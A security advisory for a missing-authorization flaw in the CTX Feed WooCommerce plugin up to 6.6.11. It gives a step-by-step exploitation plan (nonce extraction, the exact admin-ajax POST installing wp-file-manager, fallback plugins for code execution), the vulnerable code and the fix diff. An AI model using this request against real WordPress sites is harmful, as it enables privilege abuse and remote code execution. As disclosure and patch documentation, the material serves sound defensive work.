CTX Feed – WooCommerce Product Feed Manager <= 6.6.11 - Missing Authorization to Authenticated (Shop Manager+) Arbitrary Plugin Installation
Description
The CTX Feed – WooCommerce Product Feed Manager plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the woo_feed_plugin_installing() function in all versions up to, and including, 6.6.11. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to install arbitrary plugins which can be leveraged to achieve remote code execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=6.6.11What Changed in the Fix
Changes introduced in v6.6.12
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12975 (CTX Feed Arbitrary Plugin Installation) ## 1. Vulnerability Summary The **CTX Feed – WooCommerce Product Feed Manager** plugin (up to version 6.6.11) contains a missing authorization vulnerability in its AJAX handler for plugin installation. The functio…
Show full research plan
Exploitation Research Plan: CVE-2025-12975 (CTX Feed Arbitrary Plugin Installation)
1. Vulnerability Summary
The CTX Feed – WooCommerce Product Feed Manager plugin (up to version 6.6.11) contains a missing authorization vulnerability in its AJAX handler for plugin installation. The function woo_feed_plugin_installing() fails to verify if the requesting user has the install_plugins capability. While it implements a nonce check, the nonce is available to users with Shop Manager level access (and potentially lower, depending on where the script is enqueued). This allows an authenticated attacker to install and potentially activate arbitrary plugins from the WordPress.org repository, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
woo_feed_plugin_installing - Vulnerable Parameter:
data(The slug of the plugin to be installed) - Nonce Parameter:
_ajax_nonce - Authentication: Authenticated, Shop Manager (capability
manage_woocommerceoredit_posts) or higher. - Preconditions:
- The attacker must be logged in as a Shop Manager.
- The attacker must obtain a valid AJAX nonce for the
woo_feed_plugin_installingaction.
3. Code Flow
- Entry Point: The AJAX action
woo_feed_plugin_installingis registered (likely inincludes/action-handler.phpviaadd_action( 'wp_ajax_woo_feed_plugin_installing', ... )). - AJAX Call: The client-side script
admin/js/woo-feed-our-plugins.jstriggers a POST request toadmin-ajax.php. - Execution:
admin-ajax.phpdispatches the request towoo_feed_plugin_installing().- The function verifies the nonce using
check_ajax_referer()orwp_verify_nonce()using the key_ajax_nonce. - Vulnerability: The function proceeds to install the plugin specified in the
dataparameter without callingcurrent_user_can( 'install_plugins' ).
- Sink: The function utilizes WordPress core classes (e.g.,
Plugin_Upgrader) or functions (e.g.,wp_ajax_install_plugin) to download and install the plugin from the WordPress repository.
4. Nonce Acquisition Strategy
The nonce is localized for the script woo-feed-our-plugins and stored in the JavaScript object woo_feed_our_plugins_info.
- Identify Script Loading: The script
admin/js/woo-feed-our-plugins.jsis loaded on CTX Feed admin pages, specifically the "Our Plugins" or "Recommended Plugins" section. - Page Navigation: Navigate to the CTX Feed settings page.
- URL:
/wp-admin/admin.php?page=webappick-wp-feed-settings(or check for a submenu likewebappick-wp-feed-about).
- URL:
- Extraction:
- Use
browser_evalto extract the nonce from the global scope:browser_eval("window.woo_feed_our_plugins_info?.nonce") - This variable is defined in the HTML source via
wp_localize_script.
- Use
5. Exploitation Strategy
We will install the wp-file-manager plugin as a Proof of Concept to demonstrate the ability to introduce new code execution capabilities.
Step 1: Obtain Session for Shop Manager
Log in as a user with the shop_manager role.
Step 2: Extract Nonce
Navigate to the CTX Feed settings page and extract the nonce using the browser_eval tool.
Step 3: Send Malicious AJAX Request
Send a POST request to admin-ajax.php to install the target plugin.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=woo_feed_plugin_installing&_ajax_nonce=[EXTRACTED_NONCE]&data=wp-file-manager
Step 4: Verify Installation
Check if the plugin directory exists or if the plugin is recognized by WordPress.
6. Test Data Setup
- Target Version: Install CTX Feed version 6.6.11.
- User Creation:
wp user create attacker attacker@example.com --role=shop_manager --user_pass=password - WooCommerce Requirement: Ensure WooCommerce is installed and active as it is a dependency.
wp plugin install woocommerce --activate
7. Expected Results
- The AJAX request should return a JSON response with a status indicating success (often
{"status":200}as hinted by the Success handler inadmin/js/woo-feed-our-plugins.js). - The directory
/var/www/html/wp-content/plugins/wp-file-manager/should be created.
8. Verification Steps
After the HTTP request, use WP-CLI to confirm the installation:
wp plugin is-installed wp-file-manager && echo "SUCCESS: Plugin installed"
Check the plugin status:
wp plugin status wp-file-manager
9. Alternative Approaches
If wp-file-manager fails to install or is blocked, try installing code-snippets or wp-terminal.
If the nonce is not found on the main settings page, check the "Status" or "About" pages of CTX Feed:
/wp-admin/admin.php?page=webappick-wp-feed-about/wp-admin/admin.php?page=webappick-wp-feed-status
If the data parameter expects a different format, check includes/action-handler.php for how the data parameter is handled (e.g., if it expects a JSON object or just a string). Based on the JS, it is passed directly as a string: data: plugin_slug.
Summary
The CTX Feed plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation because the `woo_feed_plugin_installing()` function fails to perform a capability check. Authenticated attackers with Shop Manager-level access or higher can exploit this to install and activate any plugin from the WordPress.org repository, potentially leading to remote code execution.
Vulnerable Code
// includes/helper.php line 6225 if ( ! function_exists( 'woo_feed_plugin_installing' ) ) { function woo_feed_plugin_installing() { // Handle AJAX request here // For example, get data from request check_ajax_referer( 'woo-feed-our-plugins-nonce', 'nonce' ); $plugin_slug = isset( $_POST['data'] ) ? sanitize_text_field( $_POST['data'] ) : ''; $result = woo_feed_install_and_activate_plugin($plugin_slug); // Process data // Example response $response = array( 'status' => 200, 'result' => $result ); // Send JSON response wp_send_json($response); // Don't forget to exit wp_die(); } } --- // includes/helper.php line 6252 if ( ! function_exists( 'woo_feed_install_and_activate_plugin' ) ) { function woo_feed_install_and_activate_plugin($plugin_slug) { // Include necessary WordPress files require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
Security Fix
@@ -20,9 +20,10 @@ }, success: function( response ){ if(response.status==200){ - console.log( response ); activated.style.display = "block"; installing.style.display = "none"; + }else{ + console.log(response); } }, error : function(error){ console.log(error) } @@ -6223,21 +6223,41 @@ } if ( ! function_exists( 'woo_feed_plugin_installing' ) ) { - function woo_feed_plugin_installing() { + function woo_feed_plugin_installing() + { // Handle AJAX request here // For example, get data from request - check_ajax_referer( 'woo-feed-our-plugins-nonce', 'nonce' ); + check_ajax_referer('woo-feed-our-plugins-nonce', 'nonce'); + + if ( ! current_user_can( 'manage_options' ) ) { + $response = array( + 'status' => 401, + 'result' => 'Unauthorized' + ); + // Send JSON response + wp_send_json($response); + + // Don't forget to exit + wp_die(); + } - $plugin_slug = isset( $_POST['data'] ) ? sanitize_text_field( $_POST['data'] ) : ''; + $plugin_slug = isset($_POST['data']) ? sanitize_text_field($_POST['data']) : ''; $result = woo_feed_install_and_activate_plugin($plugin_slug); // Process data // Example response - $response = array( - 'status' => 200, - 'result' => $result - ); + if ($result == 'failed') { + $response = array( + 'status' => 403, + 'result' => $result + ); + } else { + $response = array( + 'status' => 200, + 'result' => $result + ); + } // Send JSON response wp_send_json($response); @@ -6252,6 +6272,11 @@ if ( ! function_exists( 'woo_feed_install_and_activate_plugin' ) ) { function woo_feed_install_and_activate_plugin($plugin_slug) { + + if ( ! current_user_can( 'manage_options' ) ) { + return "failed"; + } + // Include necessary WordPress files require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
Exploit Outline
To exploit this vulnerability, an attacker needs Shop Manager-level privileges. First, the attacker retrieves a valid AJAX nonce for the 'woo-feed-our-plugins-nonce' action, which is typically exposed in the global JavaScript object 'woo_feed_our_plugins_info' on CTX Feed administrative pages. Then, the attacker sends an authenticated POST request to /wp-admin/admin-ajax.php with the action parameter set to 'woo_feed_plugin_installing', the retrieved nonce, and a 'data' parameter containing the slug of the plugin they wish to install (e.g., 'wp-file-manager'). Since the server-side handler lack capability checks, it will utilize WordPress core upgrader classes to download and activate the specified plugin.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.